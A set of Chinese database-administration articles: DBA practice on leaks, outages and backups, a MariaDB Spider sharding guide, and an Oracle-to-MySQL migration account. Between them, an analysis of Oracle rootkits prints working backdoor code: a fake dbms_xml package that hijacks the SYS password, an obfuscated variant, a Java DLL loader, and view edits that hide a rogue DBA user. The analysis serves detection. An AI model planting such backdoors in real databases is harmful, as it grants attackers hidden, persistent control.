上面有很多数据都可以通过MOS文章一把拉出来。讲这个的主要原因是强调我们要紧跟着自身版本的PSU,这个不代表说本月发布的PSU,我们必须本月升级,而是应该有计划进行升级。比如以延迟半年为计划,或者延迟一个季度为计划。除了这方面,还有业内会经常爆出一些严重BUG,如像DBAplus这样的社群是会第一时间发出声明及处理方案,我们一定要时刻关注,不能等问题真的到我们头上了才知道,那样公司请你就没有价值了。 以上所述都是应对数据泄密的措施。简单来说,我认为数据泄密方面DBA和运维人员只是做了辅助作用,因为很多公司会有自己的安全团队,会从外面请一些公司去做整体的扫描,会给出一系列建议、配置性的更改,我们只需要针对数据库这方面调整,就够了。 前面说那么多东西是为什么呢?大家都知道了,去年下半年有比特币勒索,大家在网上了下载了一些破解工具,如PLSQL DEV、SCRT等,有一部分工具被放置恶意的脚本,然后当你通过很大的权限(如SYSDBA)连接到数据库,这些工具会自己创建一个存储过程,存过名字起跟真的一样,里面还给你加密。一定时期以后(如三年)这个函数会自己执行,把你的数据全部搞乱搞废掉,然后会在报错信息里面提供包含比特币链接的勒索信息,大致意思是你给我钱,我就给你把数据库恢复。 那么我们前面做的,收用户、收权限,就是保证,当我们DBA自身使用的工具是安全的情况下就能保证数据库不受勒索。如果你大的权限在下面飘着,就不能保证研发、应用的哥们究竟安全意识如何,到时候连防都不好防。 如果面对数据泄密是DBA是辅助类工作的话,面对数据丢失,DBA有无法推卸的责任,这个“锅”你是甩不出去的。 二、面对数据丢失,DBA能做什么? 在平时运行维护时,总会有种种情况导致业务数据丢失或者损坏,无论丢失是多是少,我们DBA都应该尽量避免发生。 下列是我们平时遇到的4种可能会造成数据丢失的类型: 系统故障: CPU、内存、主板、等主机层面的故障 存储故障:UPS掉电、控制器损坏、物理硬盘损坏等 数据库BUG:因触发数据库BUG导致刷入存储的数据块逻辑损坏 人为操作故障,错误执行删除数据命令 就Oracle本身来讲,它有自己的高可用体系产品及功能。 1、应对主机层面的故障 这种故障正常来说是丢失未提交的数据,大部分情况我们是无需在意这些丢失数据的。这时候主要以恢复业务为目的来设计数据。我们通过使用主机层面高可用技术RAC,来解决这个问题,主机层面高可用指,两套内存、CPU等运算资源,但是使用同一套数据文件。当RAC中某主机损坏时,业务可以在下次连接的时候连入另外的节点。 在Oracle 9i之前,RAC的名称叫做OPS,而9i之前每次传输块的时候,需要先将数据刷入硬盘,然后另外的节点从硬盘上读取。 RAC进化的最重要的一点,就是有了CACHE-FUSION的特性,最新的当前块数据可以通过私网进行传输了。 使用RAC的注意点: 尽量减少cache-fusion,通过应用切割的模式; 第二个注意点,CPU、内存这些计算资源,最好不要上60,相对内存来说,CPU更是。如果平时跑每个节点的CPU就飙上60%,那么当发生故障的时候,存活节点是不是能抗住是要打问号的; 如果资源吃紧,提前对业务进行提前梳理这套库上面哪些业务是重要的,哪些业务是较为不重要的,哪些最不重要。便于紧急时刻可停止非关键业务释放资源供给核心业务。 2、应对存储层面发生故障或损坏 这个层面的故障和损坏RAC是无法保护的,因此Oracle提供了DG进行存储保护。 当存储出现故障的时候,丢失多少数据都是有可能的,这时候如果DG存在,我们可以激活备库,将应用的IP调整为备库及时的恢复应用,并且可以做到尽量不丢失数据,这里可以给大家分享的经验是,建立内网域名服务器,将IP都设置为对应的域名,以后发生容灾切换的时候 只需要调整域名服务器的映射即可,无需每个应用单独调整。 在11G以后DG的standby端可以以readonly的模式进行打开,并对外提供只读服务。这也是尽量将物理资源利用起来。 3、应对BUG导致的数据丢失 两种情况,一种是归档好着,只是刷块的时候有问题,导致刷坏了。这种普通DG就可以搞定,另外一种归档被写坏,而传到standby 应用也会导致备库数据块坏掉。 这时候我们就需要讲DG进行延时应用,注意这里只是延时应用,日志还是会自动传输的。哪怕生产坏掉了,除了需要追一定时间的归档外,不会有数据丢失,延时语句如下: alter database recover managed standby database delay 120 disconnect from session; 120的单位是分。 这里2小时只是代表standby 和生产端真实时间差距,并不代表生产发生down机, standby 必须两个小时才能追平归档。 4、应对误操作 说实话靠个人是很难避免的,谁都有个精神不好的时候,犯迷糊的时候。这时候就需要通过规范和制度来保证这种事情不发生。 经验分享: 一定要有变更方案,详细列出每条要执行的命令,并且多人评审; 具体实施过程中,除非排障,否则命令一律不得手敲; 执行危险命令时,一定要ifconfig 查看一下IP,以防万一; 生产和测试环境的窗口不要同时打开,如果非要打开,命名对应窗口,并使用不同的文字背景; 变更方案要有对应的回退方案,如果执行变更的时候出现了问题,当时如状态并不好,建议直接回退,不要勉强自己排错。 三、数据库备份及演练 作为一个DBA,如果想要睡得踏实,那么备份一定要有。 当前数据库中数据越来越大,几十T的库屡见不鲜,有时候可能真的没那么大空间做演练 。经验小分享:调整备份手段,将业务表空间分散开,每份单独与system sysaux等组成一个备份集。分批采用进行全备。 最后验证时可以只验证一份,这样数据量就小很多了。不过很多地方为了保证安全,两地三中心都搞出来了,几十T空间并没有想象中贵,这点投入是完全值得的。 今天分享就到这儿了,希望大家的系统平安,做好防范。谢谢! Q&A Q1:有一次客户那边的账户突然锁了,我查了其它的信息表空间,发现并没有因为多次密码登陆错,排除这个情况外还有什么原因? A1:你说的是资源,profile分口令规则和资源限制,资源限制是需要和resource_limit参数进行配合的。有两种情况,第一种情况是有人直接进行手工锁定,第二种情况是密码试错过多导致被锁定的。 (接上问) Q2:我的意思是排除密码输错,也不是人为锁的。 A2:到期了。 Q3:到期的时间不是没有限制吗? A3:资源是没有限制的。 Q4:资源参数没打。 A4:资源参数部分是不生效,跟口令参数是无关的。 Q5:可以告诉我多长时间吗? A5:默认180天。 Q6:PPT一开始rf删掉以后,我去年做过暴力测试,是可以恢复备份的。国外的那个没有吗? A6:国外哥们的库是不一样的。他那边有三到四重的备份方案,各种各样的容灾,全部都没有用。最后恢复不是采用正常手段恢复的,是用其它系统的数据传回来的,非常佩服他们把恢复进度在推特上面进行公布,以每小时5%的进度慢慢恢复。当时这篇文章也炒得很火了。 原文发布时间为:2017-04-25 本文来自云栖社区合作伙伴DBAplus
主题简介: Backdoor(后门)、Rootkit、Vulnerability分别在攻击中扮演的角色。 攻击者可能使用的Oracle Rootkit技术种类。 综述数据库漏扫工具现阶段能识别的Rootkit类型,提出使其识别更多rootkit类型的建议。 一、Vulnerability 、Backdoor、Rootkit 一场策划有序的入侵行动中,黑客组织常常会找到网站、操作系统、系统软件上的Vulnerability(弱点),有针对性地开展一系列组合攻击,最终达到控制数据库或操作系统的目的。 如果是政府或财团支持的黑客组织可能不会急于盗取数据库中的敏感信息进行变现,而选择在目标数据库中进行长期潜伏。一方面等待敏感信息价值和数量的增长,另一方面可以摸清整个网络、系统的防护架构和审计能力。防止在盗取敏感数据时,留下特征和证据,以免被对方发现。 这样的一起黑客入侵事件可还原为以下流程图: 黑客第一次潜入会使用各种0 day Vulnerability,但对于定期更新补丁的目标系统,一些0 day Vulnerability将会失去作用。为了能够持续发起对数据库的攻击,黑客会在第一次入侵成功后,在数据库中安插Backdoor(后门)。Backdoor成为黑客组织持续入侵数据库的关键。 Backdoor本身有多种形式,有可能是DBA账号、存储过程、函数、视图等,但Backdoor本身可能被一些专业的数据库扫描软件所发现。为了把Backdoor的痕迹抹掉,出现了一种技术——Rootkit。Rootkit好比是Backdoor的隐身衣,躲过扫描工具的检测。 在入侵过程中,黑客通过Vulnerability成功入侵目标系统内部,夺取数据库权限。Backdoor负责为黑客后续的攻击行为提供一扇任意门。Rootkit则负责把这道任意门变为隐形模式。Vulnerability、Backdoor和Rootkit三者联合是高级渗透攻击的惯用手段。解决安全问题不光要解决Vulnerability的问题(按时打补丁即可),更重要的是解决Backdoor和Rootkit的存在。能否识破Rootkit的存在,将是数据库扫描类安全产品的核心竞争力之一。 二、Oracle Rootkit详解 通过下面的图,我们对Rootkit技术进行粗浅的分类: 按照Rootkit技术水平可以分成裸奔自救技术、数据库级Rootkit技术、操作系统级Rootkit技术和内存级Rootkit技术。 1、裸奔自救技术 采用这种技术手段的使用者普遍对数据库没有很深入的理解,Backdoor的存在比较容易被发现。 这些存储过程多是由SYSDBA用户创建,大部分具有创建DBA用户或对某些特定表执行操作的功能,并且必然会调用某些高危的谓词或对高危表、视图进行操作。如下例:黑客可以通过传输unlock和lock对SYS用户进行密码修改,从而短暂获得SYS用户的使用权限。通过unlock 把SYS改成指定密码,同时也会存储原来的密码,方便以后进行还原。使用后,再通过lock把SYS的密码改回去,并删除过程中产生的表及表信息,抹除痕迹。 下面是上述过程的还原: 。。。。。。。。。。 CREATE OR REPLACE PACKAGE BODY dbms_xml AS PROCEDURE parse (string IN VARCHAR2) IS var1 VARCHAR2 (100); BEGIN IF string = 'unlock' THEN SELECT PASSWORD INTO var1 FROM sys.user$ WHERE name = 'SYS'; --11开始需要从sys.user中拿到密码dba_users已经没密码了做过测试拿不出来 EXECUTE IMMEDIATE 'create table syspa1 (col1 varchar2(100))'; EXECUTE IMMEDIATE 'insert into syspa1 values ('''||var1||''')'; COMMIT; EXECUTE IMMEDIATE 'ALTER USER SYS IDENTIFIED BY hack11hack'; END IF; IF string = 'lock' THEN EXECUTE IMMEDIATE 'SELECT col1 FROM syspa1 WHERE ROWNUM=1' INTO var1; EXECUTE IMMEDIATE 'ALTER USER SYS IDENTIFIED BY VALUES '''||var1||''''; EXECUTE IMMEDIATE 'DROP TABLE syspa1'; END IF; 。。。。。。 这种Backdoor如果固化成工具包,名称都不会改变,只要在sys.dba_procedures中查询对应的包名就很容易抓出来。如果不是已知Backdoor,在sys.source$中查询某些可能被黑客利用的语法结构也能排查出Backdoor。例如查询ALTER USER这个关键权限,则可以发现dbms_xml中包含了ALTER USER。打开dbms_xml进行简单检查就会发现其中的问题。 上壳 上面的Backdoor实在裸奔得厉害,于是黑客会考虑对Backdoor进行“加壳“(加密)。关于如何加壳有这样2种思路,一是自己写个函数对真正执行的函数加密,即手工加密,另一种是利用数据库提供的加密函数进行加密。 手工加密通常依托于Oracle的字符串置换和加密函数(TRANSLATE)。下图中使用的是TRANSLATE,这个函数负责进行字符串转换。转换后,单纯对sys.source$进行特定语法查询是无法查出这个Backdoor的。如下图示例: 。。。。。。 FUNCTION conv (input IN VARCHAR2) RETURN VARCHAR2 IS x VARCHAR2 (300); BEGIN x := TRANSLATE (input, 'ZYXWVUTSRQPOMNLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba0987654321 ', ‘1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' ); RETURN x; EXCEPTION WHEN OTHERS THEN RETURN NULL; END conv; 。。。。。。 。。。。。。 EXECUTE IMMEDIATE conv ('7kdkm6Z0o773a8lZj8acZwqw.uwKx$Z3hk8kZBOCKZ=Z''717''')INTO var1; EXECUTE IMMEDIATE conv ('NxKOvKZvOMDKZwqwzOYZ(NADYZtOxNHOxX(YPP))'); EXECUTE IMMEDIATE conv ('GBwKxvZGBvAZwqwzOYZtODuKwZ(''') || var1 || ''')'; COMMIT; 。。。。。。 经过加壳处理后SELECT PASSWORD FROM sys.user$ WHERE name = 'SYS'变成了7kdkm6Z0o773a8lZj8acZwqw.uwKx$Z3hk8kZBOCKZ=Z''717。这种方式主要为了防止通过关键高危字段检测出Backdoor。虽然通过检查高危谓词或高危语句无法检查出,但Oracle已有的置换字符串函数或加密函数的总数量是有限的。针对这种使用置换字符串或加密函数的存储过程和函数进行查询,顺藤摸瓜可以很快可以找到Backdoor所在。 由于考虑到可能被数据库扫描软件捕获的可能,很多黑客倾向采用Oracle自带的,对整个存储过程进行加密的warp技术。Oracle能内部识别warp加密的内容,且不提供解密函数进行解密。黑客甚至会特别说明这是一个系统自带包,以此混淆管理员的判断,但事实上,已经有相当一部分安全厂商完全掌握了warp技术的加解密原理,并且在安全产品中加入了warp还原的能力。真正具备warp还原能力的安全产品,会在warp解密后,立即检测出Backdoor的“尾巴”。 2、数据库级Rootkit技术 数据库级的Rootkit技术,在主流数据库Backdoor手段中采用最为广泛,因为其更便于实施,且行为足够隐蔽,具有数据库权限即可完成所有Rootkit。 Rootkit的整体思路分为两种: 第一种是改变访问路径:通俗说就是你以为你访问的是A,其实你访问的是B。 第二种思路是隐藏Backdoor:由于大部分安全产品进行检查都在视图层,而视图层有很多可隐藏Backdoor的手段。我们使用一组DBA用户进行举例说明,黑客A夺取SYSDBA权限后,创建DBA用户hacker/hacker。并使用RootKit技术使hacker这个用户无法被查出。非法DBA用户hacker/hacker就是这个Backdoor。 (1)换路径 换路径的思路相对比较老,主要在Oracle 9i中可以使用。手段是利用synonym创建同名视图,例如:想查询有哪些用户,安全产品通常使用Select username from dba_users这样的语句;很容易发现hacker用户。但如果查询到的是我们自己创造的假dba_users,那隐蔽hacker用户就很简单了。 如何能用户访问到假的dba_users?这和Oracle 在找目标时的顺序密切相关。Oracle会先在当前用户下寻找是否有,如果没有就去private Synonyms中寻找,再找不到才会去public Synonyms中寻找。黑客会利用Creating or modify a public synonym pointing to a different object,把自己定义的视图别名成SYS.dba_user来欺骗查询的安全产品。 (2)修改视图 修改视图的思路是根据换路径的思路延展开来,但使用面最广泛,Oracle全版本通用。既然要做假视图,改路径,还不如直接对视图本身动手。 下图是all_users的视图内容: create or replace view all_users (username, user_id, created) as select u.name, u.user#, u.ctime from sys.user$ u, sys.ts$ dts, sys.ts$ tts where u.datats# = dts.ts# and u.tempts# = tts.ts# and u.type# = 1; comment on table ALL_USERS is 'Information about all users of the database'; comment on column ALL_USERS.USERNAME is 'Name of the user'; comment on column ALL_USERS.USER_ID is 'ID number of the user'; comment on column ALL_USERS.CREATED is 'User creation date'; 图中标红的地方是这个视图的条件判定,如果我们在这个条件中再加一条and u.name !=''HACKER'',再重建这个视图通过Select * from all_users;就再也无法查询出HACKER用户了。类似的情况不单独发生在视图all_users上,类似的还有常用来查询的dba_users、v$session,、gv_$session、flow_sessions、v_$process、dba_jobs等,这些都可以通过这种方式隐藏掉非法用户以及非法用户创建的各种视图、函数等。 在这种方式的基础上随着对视图内容的深入理解,还可以通过不满足视图中的判断条件,来使用目标隐身。 例如在ALL_users中列出的用户需要满足sys.user$.datats = sys.ts$.ts#。如果我们让这个等式不成立那hacker也就不会被显示出来。DATATS#中的数值一般在0-4之间,使用update语句对hacker用户进行调整,把他的DATATS#改到1337,不在0-4的范围内。这样sys.user$.datats = sys.ts$.ts#的等式无法成立,就查询不到hacker。下图中红线的部分很明显的显示虽然hacker已经查询不到,但依旧可以用hacker进行登录。 3、操作系统级Rootkit技术 操作系统级Rootkit技术,额外需要操作系统权限。权限至少是Oracle用户的权限。思路主要可以分成三类: 替换文件:利用某些关键操作前的文件替换操作后的文件,实现只有在基表层有记录的目的。 修改二进制文件:这个主要是修改Oracle文件的某些判定逻辑。 构建调用方式,调用外部动态库:Oracle数据库支持多种语言,通过这些语言直接在数据库中构建调用本地操作系统中的动态库。这些动态库中有需要使用的Backdoor。 (1)替换文件 替换文件的思路是用某些操作前的文件覆盖操作后的文件。使得操作只有部分生效,从而达到隐藏Backdoor的目的。其中比较常见的是Oracle home/dbs/下orapworcl文件的替换。我们还是使用hacker/hacker的例子。 假如我们创建了DBA用户hacker。后把文件orapworcl备份下来,接着用drop user hacker cascade;对用户hacker进行彻底删除。删除后再把备份的orapworcl重新拷回替换新生成的orapworcl。这时候在SYS.USER$层验证会发现hacker已经消失了。但如果使用hacker/hacker还是可以以DBA身份登陆到数据库中。 这种方式虽然可以逃过SYS.USER$层的验证,但如果查询基表x$kzsrt还是可以发现hacker用户的行踪。 可以看到删除hacker用户后,把orapworcl拷贝回去hacker依旧可以登陆。SYS.user$中得记录被清除,但追到最终得基表x$kzsrt 发现其实hacker还在。有效的隐藏了hacker的存在。 (2)二进制文件 二进制文件的思路主要是两种: 第一种的本质是通过改变路径,使访问者访问到错误的目标。另一种是改变二进制中的判断条件,隐藏Backdoor,这可以看作是数据库级Rootkit的升级版。 第一种方式中,在Oracle文件中查询sys.user$,可以发现如下语句: 如果我们把作为查询目标的sys.user$,改成我们自己创建的SYS.aser$,我们就可以掌控呈现何种查询结果。 在Oracle文件中找到sys.user$,替换成我们的SYS.aser$。这样,用户以为查询的是sys.user$,但实际上查询的是SYS.aser$,即可实现隐藏Backdoor的目的。 除了改路径外,还可能出现改变查询的条件语句。我们回到Oracle中查看,会发现如下代码: 上图中可以看到关键语句: select inst_id,username,decode(sysdba,1,'TRUE','FALSE'), decode(sysoper,1,'TRUE','FALSE') from x$kzsrt where valid=1 and username != 'INTERNAL' 同样把这句改成: select inst_id,username,decode(sysdba,1,'TRUE','FALSE'), decode(sysoper,1,'TRUE','FALSE') from x$kzsrt where username not in('INTERNAL','HACKER')。 就可以达到隐藏hacker用户的目的。 通过修改二进制隐藏Backdoor,只从数据库层去检查是无法发现问题的。必须对操作系统中的Oracle文件进行前后hash比对才能发现问题。二进制文件的方式虽然隐蔽,但最大的问题是,需要做Oracle文件的替换。如果想要替换Oracle文件就必须把整个数据库停掉。在实际操作中需要大量的内部信息,才能有更大胜算。 (3)调用方式 Oracle支持多种语言来写存储过程,并不只限于SQL语句。为了躲避检查,很多有问题的存储过程会通过其它语言编写。大部分语句都支持调用本地某个动态库。如果把Backdoor封装成一个动态库,则可以通过调用的方式把Backdoor加载入内存中,调用执行。例如下面的Java后门就可以达到上述效果。 CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVALOADLIB" as import java.lang.*; import java.io.*; public class JAVALOADLIB { public static void LoadLibrary(string theLibrary) throws IOException { System.load(theLibrary); } }; / CREATE OR REPLACE PROCEDURE JAVALOADLIBPROC (p_command IN VARCHAR2) AS LANGUAGE JAVA NAME 'JAVALOADLIB.LoadLibrary(java.lang.String)'; / EXEC JAVALOADLIBPROC('/Oracle/Oracle/product/11.2.0/db_1/ide/lib/hacker.dll'); 由于上述过程只是加载动态库,所以很可能DBA自己写的代码中也有类似逻辑,无法在数据库中武断的认为存在Backdoor或被Backdoor所用。这种方式只能通过对hacker.dll的检查进行查找。 4、内存级Rootkit技术 内存级Rootkit技术,主要方式就是把Backdoor隐藏于内存之中。隐藏于内存之中数据库本身基本是无法检查的,必须和操作系统共同合作。这种方式是4种Rootkit技术中最难被发现的,但同样也受内存的限制,一旦重启会直接被清空,需要再次植入。根据Oracle的特性,针对Oracle的内存级Rootkit技术主要可以分为三个大类: SGA区的门道; oradebug的门道; 内存的门道。 (1)SGA区的门道 SGA区是数据库的内存共享区域,在SGA中数据会自动驻留一段时间或人为驻留。这种驻留给Backdoor隐藏带来了可能性。下面示例:我们首先创建一个DBA用户hacker,然后把它藏在内存中。 删除SYS.user$中hacker的记录,只会删除数据库中的hacker,而无法删除SGA中的hacker。无论是查询视图DBA_users还是基表x$kzsrt,都无法发现hacker的踪影。但hacker还是在以DBA权限正常访问数据库。 除去这种自动的在SGA区中驻留的方式外,还可以把存储过程或函数直接手动强行放入SGA区中。使用这种方式不会因为SGA区中数据库的交换,而被剔除。比起上面的方法更加稳定。这源于Oracle提供的dbms_shared_pool.keep。dbms_shared_pool.keep本意是帮助数据库在SGA区中固定某些包,是为了提高工作效率而设计的。而黑客可以利用该函数,把目标包存入数据库中,躲避安全扫描类软件的检查。 (2)Oradebug的门道 Oracle自带一个给Oracle支持人员追踪Oracle深层问题的工具-Oradebug。Oradebug可以对SGA内存中的数据库进行修改。正是这个特点,可以直接对内存中的关键参数进行修改。这里我们用Oradebug修改审计参数为例:原来审计参数是被关闭,现在直接通过Oradebug打开。把目标参数从0改成1即可。 很多变量的参数可以通过类似的方式,在内存中直接定位,然后用Oradebug修改成需要的值。 (3)内存的门道 这个部分需要操作系统的root权限。角度有两种,一种是在内存中发现需要的值(9i版本独有)。另一种则是在内存中修改特定的值(10g的一种漏洞)。简单说这种方式就是在内存中找到需要修改的关键点进行修改。 例如我们在内存中找sysawr的情况: strings /dev/shm/* | grep 'password' | less .... m user$ where user#=:1 by sysawr password expire account lock )change_password_on_first_use in ('Y','N')1 ..... 当然不仅仅是找到关键点后进行修改。还可以利用某些漏洞对特定的部分进行整体编码修改,改成黑客掌握的密码。内存中的Backdoor隐蔽性最高,但操作中会有诸多限制,使用并不广泛。 5、小结 上述四种Rootkit技术中,只针对数据库的Backdoor多采用裸奔自救技术或数据库级Rootkit技术。由于这两种技术不像操作系统级Rootkit技术需要比较高的操作系统权限。拿到操作系统权限不会只留下数据库Backdoor,同时操作系统级的Rootkit的检查工作需要针对操作系统的扫描软件辅助。 内存级Rootkit是这四类中最难以被发现的,同时操作难度也是相对最复杂的,很多同样需要操作系统权限。最大的问题是内存类的Rootkit在重启数据库后,会被清空。这和Backdoor需要稳定且长期存在的目的不相符,所以难以广泛使用。 裸奔自救技术或数据库级Rootkit技术,易于实施,需要的权限只局限在数据库中,同时又能提供一定的强度的隐藏Backdoor效果,属于实战中最常用的技巧。除去上文中提到的针对各种Rootkit技术的破解方法。还可以通过对Oracle中的表、存储过程、函数、视图、权限、Java源码等定期做hash计算,验证目标是否发生变化,如果发生变化很可能存在被恶意改写,或修改的行为,那么很可能已经被植入Backdoor。 原文发布时间为:2017-04-21 本文来自云栖社区合作伙伴DBAplus
什么是Spider? 当您的数据库不断增长时,您绝对需要考虑其它技术,如数据库分片。Spider是MariaDB内置的一个可插拔用于MariaDB/MySQL数据库分片的存储引擎,充当应用服务器和远程后端DB之间的代理(中间件),它可以轻松实现MySQL的横向和纵向扩展,突破单台MySQL的限制,支持范围分区、列表分区、哈希分区,支持XA分布式事务,支持跨库join。通过Spider,您可以跨多个数据库后端有效访问数据,让您的应用程序一行代码不改,即可轻松实现分库分表! 分库分表架构: 应用程序连接Spider,Spider充当中间件代理,将客户端查询的请求,按照事先定义好的分片规则,分发给后端数据库,之后返回的数据汇总在Spider内存里做聚合,最终返回客户端请求,对于应用程序而言是透明的。 典型案例---腾讯游戏 腾讯游戏的生产环境数据量达到了100TB,用了396个Spider节点做数据拆分,分片后的数据用了2800个MySQL节点存储。 使用场景介绍 下面介绍一下我负责的一个项目,已通过Spider实现了历史表的垂直拆分。 随着业务的增长,单台服务器磁盘空间有限,有些业务上的历史数据,DBA用工具pt-archiver归档后,历史表就没有用了,通常我们会把它单独迁移到备份机,主库上就删除了。但有的时候,BI统计部门来了一个需求,需要临时关联查询这些历史表,那么,DBA就需要从备份机上myloader导入到从库上去,为了降低导数据引起的从库CPU升高、磁盘IO的瞬间增大,可能造成主从复制的延迟。 为了减少这种重复性的体力工作,为了更快速地缩短可用时间,我们可以通过Spider引擎解决,通过它你可以将远程服务器上的表做一个映射,做一个软连接,相当于你操作本地的表一样,简单而便捷,省去了那么多麻烦,临时提供给业务方用,也不用考虑过多的性能问题。 架构图如下: 实施这个方案,选择Spider引擎是有优势的: SQL解析和查询优化是个非常复杂且很难做好的工作,其它替代产品都是自己实现,由于复杂性,这些产品都带来了一些限制,比如不支持存储过程、函数、视图等,给使用和实施带来了困难。而作为一个存储引擎,这些工作都由MariaDB自身完成了,可以方便地将大表做分布式拆分,和Fabric相比,它的好处是对业务方使用是透明的,SQL语法没有任何限制,在不改变现有DB架构的方案中,侵入性最小。 内部原理架构图如下: 我们在一台从库上,安装上Spider引擎,只需两条命令做一个表的“超链接”,分分钟就解决了问题。 注:前提是你的从库使用的是MariaDB10。 下面是官方的垂直拆分压测报告: 而在我的压测结果上,分库分表的性能会降低70%,垂直拆分性能会降低40%,性能损耗的原因是在分布式场景下,要保证2pc的一致性和可用性,读写的表现就差,另外就是跨多个网络传输这两方面引起的,目前为RC公测版本V3.2.37,固在主库上实现该功能要慎重! Spider引擎安装 # mysql -uroot -p Spider引擎使用 垂直拆分 1、定义后端服务器和数据库名字 这里后端服务器的名字为backend1,数据库名字为test,主机IP地址为192.168.143.205,用户名为user_readonly,密码为123456,端口为3306。 注:如配置错误,可直接DROP SERVERbackend1; 重新创建即可。 2、创建表的“超链接” 这里通过设置COMMENT注释来调用后端的表,然后你就可以查看sbtest表了,是不是很简单? 分库分表 同上,但区别是分库分表是采用了类似表分区的概念实现。 可调优参数 spider_conn_recycle_mode= 1 连接复用,类似连接池这种功能 optimizer_switch= 'engine_condition_pushdown=on' 引擎下推,查询推送到后端数据库,将查询结果返回给Spider做聚合 负载均衡架构设计 由于Spider自身不保存数据,只保存路由信息,是无状态的,因而可以部署多个Spider做负载均衡,架构图如下: 后端MySQL可以结合MHA实现高可用故障切换。 注:在MariaDB10.2版本里,Spider准备GA。 原文发布时间为:2017-04-20 本文来自云栖社区合作伙伴DBAplus
讲师介绍 冯帅 点融网高级DBA 获有Oracle OCM、MySQL OCP,目前从事MySQL相关的运维和架构工作,擅长异构数据库交互。 当企业内部使用的数据库种类繁杂时,或者有需求更换数据库种类时,都可能会做很多数据迁移的工作。有些迁移很简单,有些迁移可能就会很复杂,大家有没有考虑过为了顺利完成复杂的数据库迁移任务,都需要考虑并解决哪些问题呢? 在以前的工作中,我迁移过Oracle到Informix、Oracle和SQLServer、Oracle到MySQL。 在目前的公司又因为去O的关系,做了大量的迁移工作,栽了不少坑,所以和大家交流一下在迁移的过程中的一些实践。 分享大纲: 去O前的准备与考虑 确定目标数据库 表和数据对象的迁移及工具比较 其它对象的迁移 一些性能参数 一、去O前的准备与考虑 因为成本预算等多方面原因,公司决定要去O,在去O之前首先要决定拿什么来替代Oracle,拿什么工具将源数据库的数据导到目标数据库、怎么导等的。导的过程的增量数据怎么处理。导的时候源数据和目标,以及数据的数据类型差异如何处理,像视图、存储过程、触发器这种数据库对象之间的不同怎么解决,导的时候如何不影响源数据库性能。导完以后的数据比对以及数据无误后应用的性能问题都是要考虑的。 二、确定目标数据库 在我们做数据迁移之前先确认的就是target database ,就是要迁到什么数据库上,经过了一些调研,从速度、流行度等多个方面选择最终了MySQL。因为相信被Oracle收购后表现会越来越好。 当然也想过使用PosgreSQL,不过做了一个测试,发现MySQL5.7的QPS在比同样配置的PG要高,基于在线事务对性能的要求,最终还是选择了MySQL。选择了MySQL以后,对于MySQL的分支和版本的选择也很头痛。Percona增加了很多性能相关补丁,MariaDB支持更多的引擎,官方的版本也能满足目前的需求,从保守的原则上,我们的核心数据库最终还是使用了官方的版本,一些不是太核心的数据库,其它的分支也有在用。 因为MyCat的支持关系最终选择的是5.6的版本(目前MyCat1.6对MySQL5.7的支持不是太好),为了达到像Oracle的DG/OGG一样稳定的架构,我们把MySQL的架构做成了双机房的MHA,并且用了MyCat做了读写分离。同样的Oracle这边因为同时还有应用在跑,为了分散Oracle的压力,所有的同步作业也是在备库和异机房的OGG端进行的操作。 三、表和数据对象的迁移及工具对比 在选择了合适的DB来替换Oracle后,下一步就是选择一个合适的迁移工具来做迁移。我们在迁移工具的选择方面花费了大量时间和精力。迁移是一个漫长而困难的工作,我们在迁移的过程中也历经了不同的阶段,使用了不同的方法。从最初级的load csv升级成自已写的程序,再去找Oracle和MySQL官方推荐的工具,最后也尝试了一些 ETL的工具,被这么多工具摧残之后,幸运的是能够在不同的场情下使用不同的方式。 接下来我们对每一种都进行一个简单的介绍和使用中遇到的一些问题。 1、SQL LOAD 我们在最早的时候只是进行某个项目的迁移工作,因为时间的关系并没有进行迁移工具的选型以及使用,使用了最简单的方式就是SQL LOAD。 所有的操作步骤比把大象放进冰箱还要简单,简单得只要分两步,第一步把Oracle的数据导成CSV或者SQL,然后再load或者source到MySQL中就可以了。 把Oracle的数据导成CSV或者SQL可以用很多工具,比如SQL developer或者toad,不过我还是更推荐spool,大家应该都用过spool,他可以结合set把内容输出到指定的文件中,然后选择合理的行列分隔符,就可以产生csv文件了。 使用SQL LOAD的优点就是速度快和超级简单,不过同样的,它也会有很多弊端,它很难做成自动化和全面普及到很多张表上,每有一张表的操作就要写SQL拼CSV,然后还不能保证是一样的分隔符,大多数时候对lob字段操作也很麻烦。对类似于comments的评论字段也很难原样的copy过去。 我们来看一个简单的例子: 第一步我先在Oracle这边创建了一张表,很简单只有四列,然后insert了三条数据查看了一下内容。 做了一些简单的可能会用到的查询。 看一下导出用的spool的内容,实际用的时候肯定会比这个更复杂,要对换行、time、lob等进行更多的函数处理。然后把数据导了出来看一下。 接着我又在MySQL创建一张一样的表把数据load了进去。load的语法不是我们今天要分享的重点,它的作用就是把file load into table.可以指定行列分隔符。 可以看到数据load进去了三行,同时也给出了三个警告,第二行一个,第三行两个,分别是int类型的列传了一个空字符串和时间类型的被截取了。查看一下表里的数据,发现和预期的不一样。 然后把刚刚在Oracle那边进行的查询再次查询一下,发现结果都变得不一样了。 这是因为在MySQL里int类型如果插入的为空,结果会自动转成0。 官方文档上有明确的说明: An empty field value is interpreted different from a missing field: For string types, the column is set to the empty string. For numeric types, the column is set to 0. For date and time types, the column is set to the appropriate “zero” value for the type. 我们再看一下用etl工具迁移过来的数据,可以发现数据被insert成了null ,符合了Oracle的意思,其实这就是sqlload时一些弊端,数据类型可能弄得不是原来的数据了。同样的,我们也可以设置成严格的模式,int类型的不允许插入null,我们会在下面的sql_mode里讲到。 2、Python 迁了部分数据之后觉得load数据虽然简单和快,但是瑜不掩瑕,总是有这样那样的问题,迁移之后往往还会同时伴随着大量的数据修复工作。 很快的,我们就弃用了这种操作,在这里要说明一下SQL LOAD的操作因为速度又快又不依赖其它组件,所以适用于数据类型并不复杂的单表操作,然后就写了python代码来接替它来完成数据迁移的操作,使用python的话其实也很简单,可以分为三步,第一步就是建立配置表,同时和MySQL的表进行mapping,标识出是全量的还是增量的,如果是增量的,以什么做为增量来处理。第二步就是根据mapping进行code、code、code,最后根据不同的入参写好crontab就可以进行调度就可以了。 使用python处理的过程中可以对一些数据进行转换,也更加灵活地配置了一些选项,实现了较强的逻辑控制,当然也有一些缺点:它的速度慢了太多(不过也只比load慢,比起来后面要介绍的Java编写的软件还是快很多)。对于异常的处理也花费了大量的代码逻辑,同时也要会写代码。 我们可以简单来看一下它的实现: 这一个代码片断,显示了增量同步每一天的数据逻辑。 